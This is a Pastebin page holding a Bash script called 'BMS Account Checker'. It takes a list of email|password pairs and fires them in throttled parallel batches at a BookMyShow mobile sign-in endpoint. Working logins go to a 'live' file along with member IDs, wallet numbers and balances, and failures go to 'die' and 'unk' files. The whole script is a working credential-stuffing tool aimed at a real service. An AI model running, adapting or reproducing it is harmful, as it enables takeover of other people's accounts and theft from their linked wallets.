Advertisement
ccocot

BMSADVANCE.sh

Dec 20th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.49 KB | None | 0 0
  1. #!/bin/bash
  2. # CCOCOT.CO
  3.  
  4. # cat << "EOF"
  5. #    ____   ____ ___  ____  _____   _   _ _____ _____
  6. #   | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
  7. #   |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
  8. #   | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
  9. #   |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
  10.  
  11. #       BMS Account Checker
  12. #       Auto Gentod JUANCOK !1!1!1!
  13.  
  14. # EOF
  15.  
  16.  
  17. ngecek(){
  18.     local CY='\e[36m'
  19.     local GR='\e[34m'
  20.     local OG='\e[92m'
  21.     local WH='\e[37m'
  22.     local RD='\e[31m'
  23.     local YL='\e[33m'
  24.     local BF='\e[34m'
  25.     local DF='\e[39m'
  26.     local OR='\e[33m'
  27.     local PP='\e[35m'
  28.     local B='\e[1m'
  29.     local CC='\e[0m'
  30.     local ngecurl=$(curl -s services-id.bookmyshow.com/doTrans.aspx -d "strAppCode=INDOMOBAND&strParam1=${1}&strFormat=json&strParam2=${2}&strCommand=SIGNIN")
  31.     local status=$(echo $ngecurl | grep -Po '(?<=blnSuccess":")[^"]*')
  32.     if [[ $status == "true" ]]; then
  33.         local WALLETRESPONSECODE=$(echo $ngecurl | grep -Po '(?<=WALLETRESPONSECODE":")[^"]*')
  34.         local WALLETMOBILENO=$(echo $ngecurl | grep -Po '(?<=WALLETMOBILENO":")[^"]*')
  35.         local MEMBERID=$(echo $ngecurl | grep -Po '(?<=MEMBERID":")[^"]*')
  36.         local ISPROFILECOMPLETE=$(echo $ngecurl | grep -Po '(?<=ISPROFILECOMPLETE":")[^"]*')
  37.         local EMAILVERIFIED=$(echo $ngecurl | grep -Po '(?<=EMAILVERIFIED":")[^"]*')
  38.         printf "${B}${GR}LIVE${CC} | ${1}-${2} => [${YL}MEMBERID: ${MEMBERID}${CC}] [${YL}EMAILVERIFIED: ${EMAILVERIFIED}${CC}] [WALLET NO: ${GR}${WALLETMOBILENO}${CC}] [BALANCE: ${GR}${WALLETRESPONSECODE}${CC}]\n"
  39.         echo "${1}|${2} => [MEMBERID: ${MEMBERID}] [ISPROFILECOMPLETE: ${ISPROFILECOMPLETE}] [EMAILVERIFIED: ${EMAILVERIFIED}] [WALLET NO: ${WALLETMOBILENO}] [BALANCE: ${WALLETRESPONSECODE}]" >> live.txt
  40.     elif [[ $status == "false" ]]; then
  41.         # local ERRMSG=$(echo $ngecurl | grep -Po '(?<=strException":")[^"]*')
  42.         printf "${B}${RD}DIE${CC} | ${1}-${2} \n"
  43.         echo "${1}|${2}" >> die.txt
  44.     else
  45.         printf "${B}${CY}UNK${CC} | ${1}-${2} \n"
  46.         echo "${1}|${2}" >> unk.txt
  47.     fi
  48. }
  49.  
  50. if [[ -z $1 ]]; then
  51.     header
  52.     printf "To Use $0 <mailist.txt> \n"
  53.     exit 1
  54. fi
  55.  
  56. # SET RATIO
  57. persend=20
  58. setleep=5
  59.  
  60. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  61. itung=1
  62.  
  63. for (( i = 0; i < ${#mailist[@]}; i++ )); do
  64.     username="${mailist[$i]}"
  65.     IFS='|' read -r -a array <<< "$username"
  66.     email=${array[0]}
  67.     password=${array[1]}
  68.     set_kirik=$(expr $itung % $persend)
  69.     if [[ $set_kirik == 0 && $itung > 0 ]]; then
  70.         sleep $setleep
  71.     fi
  72.     ngecek "${email}" "${password}" &
  73.     itung=$[$itung+1]
  74. done
  75. wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement